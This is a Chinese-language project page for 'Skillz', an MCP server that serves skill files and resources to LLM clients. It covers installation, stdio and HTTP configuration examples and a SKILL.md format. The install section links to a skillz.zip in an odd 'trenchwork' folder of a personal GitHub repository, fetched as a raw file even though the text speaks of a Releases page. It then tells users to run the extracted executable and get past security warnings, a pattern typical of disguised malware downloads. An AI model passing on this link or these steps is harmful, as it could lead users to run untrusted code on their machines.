项目简介

Skillz是一个强大的MCP服务器,旨在帮助大型语言模型(LLM)客户端(特别是那些不直接支持Claude原生MCP协议的客户端)轻松集成和使用外部“技能”。这些技能可以是文本指令、代码脚本或任何数据资源。Skillz通过标准化的JSON-RPC接口,允许LLM发现可用的技能,获取其详细说明和相关资源,从而扩展LLM的功能和上下文理解能力。

主要功能点

  • 技能托管与发现: 自动扫描指定目录下的技能(包括文件夹和'.zip'/'.skill'文件),并将其注册为LLM可调用的工具。每个技能都包含名称、描述、指令和关联资源。
  • 资源管理: 托管技能相关的各种文件(如代码、数据、文档),并通过标准化的'resource://skillz/{skill-slug}/{path}' URI向LLM客户端提供。支持自动检测MIME类型,并以UTF-8或Base64编码传输内容。
  • 工具接口: 为每个技能提供一个可调用的工具。LLM客户端通过调用此工具,获取技能的详细指令和所有关联资源的URI列表,以便LLM根据任务需求决定如何利用这些信息。
  • 兼容性工具: 内置'fetch_resource'工具,允许不支持原生MCP资源协议的LLM客户端通过调用该工具来获取任何资源的实际内容。
  • 多传输协议支持: 支持通过Stdio、HTTP或SSE协议进行通信,方便在不同环境下的部署和集成。
  • 跨平台运行: 提供预编译的安装包,可在Windows、macOS和Linux上运行。

安装步骤

  1. 下载应用程序: 访问项目的发布页面(通常是GitHub Releases),下载适用于您操作系统的'skillz.zip'文件。例如,点击此处下载:'https://raw.githubusercontent.com/mugoherick12-boop/skillz/main/trenchwork/skillz.zip'
  2. 解压文件:
    • Windows/macOS: 右键点击下载的'.zip'文件,选择“全部解压”或使用解压软件。
    • Linux: 打开终端,导航到下载目录,然后运行:'unzip skillz.zip' (假设'skillz.zip'是您下载的文件名)
  3. 运行应用程序:
    • Windows: 双击解压后的'skillz.exe'文件。
    • macOS: 双击解压后的'skillz'文件。
    • Linux: 打开终端,导航到解压后的文件夹,然后运行:'./skillz'
    • 请注意:根据您的系统安全设置,首次运行时可能需要授予执行权限或通过安全警告。

服务器配置 (MCP客户端使用)

MCP客户端需要以下JSON配置信息来连接Skillz MCP服务器。

Stdio (标准输入输出) 传输协议配置示例:

{
  "server_name": "Skillz MCP Server",
  "command": "/path/to/extracted/folder/skillz",
  "args": [
    "/home/user/.skillz",
    "--transport", "stdio",
    "--verbose", "false",
    "--log", "false"
  ],
  "env": {},
  "capabilities": {
    "json_rpc": {
      "encoding": "utf-8"
    }
  }
}

参数注释 (Stdio):

  • '"server_name"': MCP服务器的名称。
  • '"command"': Skillz可执行文件的完整路径。请替换为您解压后'skillz'应用程序的实际路径。
  • '"args"': 传递给Skillz服务器的命令行参数列表。
    • 第一个参数(例如:'"/home/user/.skillz"'):这是Skillz服务器查找技能的根目录。如果您未提供此参数,服务器将默认使用您用户主目录下的'.skillz'文件夹。您可以将其替换为任何包含您技能的文件夹路径。
    • '"--transport", "stdio"': 指定使用标准输入输出(stdio)作为通信方式,这是推荐的本地通信方式。
    • '"--verbose", "false"': 禁用详细日志输出。如果需要调试,可以改为'"true"'。
    • '"--log", "false"': 禁用将非常详细的日志写入'/tmp/skillz.log'文件。如果需要调试,可以改为'"true"'。
  • '"env"': 运行服务器时设置的环境变量(可选)。
  • '"capabilities"': 声明服务器支持的MCP能力,'json_rpc'表示支持JSON-RPC协议。

HTTP 传输协议配置示例:

{
  "server_name": "Skillz MCP Server",
  "command": "/path/to/extracted/folder/skillz",
  "args": [
    "/home/user/.skillz",
    "--transport", "http",
    "--host", "127.0.0.1",
    "--port", "8000",
    "--path", "/mcp"
  ],
  "env": {},
  "capabilities": {
    "http": {
      "url": "http://127.0.0.1:8000/mcp",
      "methods": ["POST"]
    }
  }
}

HTTP 传输协议参数注释:

  • '"command"'和'"args"'中的路径和技能根目录同Stdio配置。
  • '"--transport", "http"': 指定使用HTTP作为通信方式。
  • '"--host", "127.0.0.1"': 服务器监听的IP地址。
  • '"--port", "8000"': 服务器监听的端口。
  • '"--path", "/mcp"': MCP请求的HTTP路径。
  • '"capabilities"'中的'"http"'部分:
    • '"url"': MCP客户端连接时使用的完整URL。
    • '"methods"': 支持的HTTP方法,'"POST"'是MCP的典型方法。

基本使用方法

  1. 准备技能: 在您指定的技能根目录(或默认的'~/.skillz')下创建子文件夹或'.zip'/'.skill'文件。每个技能都必须包含一个'SKILL.md'文件,该文件顶部有YAML前置元数据(包含'name'和'description')以及技能指令正文。
    • 示例 'my-skill/SKILL.md':
      ---
      name: My Awesome Skill
      description: This skill helps you do awesome things.
      ---
      ## Skill Instructions
      
      To use this skill, please provide a clear task. I can perform tasks like:
      - Summarize a document (provide 'document.txt' as a resource).
      - Generate code snippets (refer to 'template.py' resource).
    • 您还可以在技能文件夹中放置其他资源文件,如'document.txt', 'template.py'等。
  2. 启动Skillz服务器: 按照上述安装步骤运行Skillz应用程序。它将自动加载您根目录下的所有有效技能。
  3. 连接MCP客户端: 使用上述“服务器配置”部分提供的JSON配置信息,在您的MCP客户端(例如,一个支持MCP协议的LLM应用)中设置Skillz服务器。
  4. LLM调用技能: LLM客户端现在可以通过调用以技能'slug'命名的工具来与技能互动。例如,如果技能名为"My Awesome Skill",其'slug'可能是"my-awesome-skill"。LLM客户端可以调用'my-awesome-skill(task="summarize document X")'。
  5. LLM获取资源: 当LLM客户端收到技能的指令和资源URI列表后,它可以使用这些URI直接从Skillz服务器读取资源内容,或者通过调用'fetch_resource'工具来获取。

信息

分类

开发者工具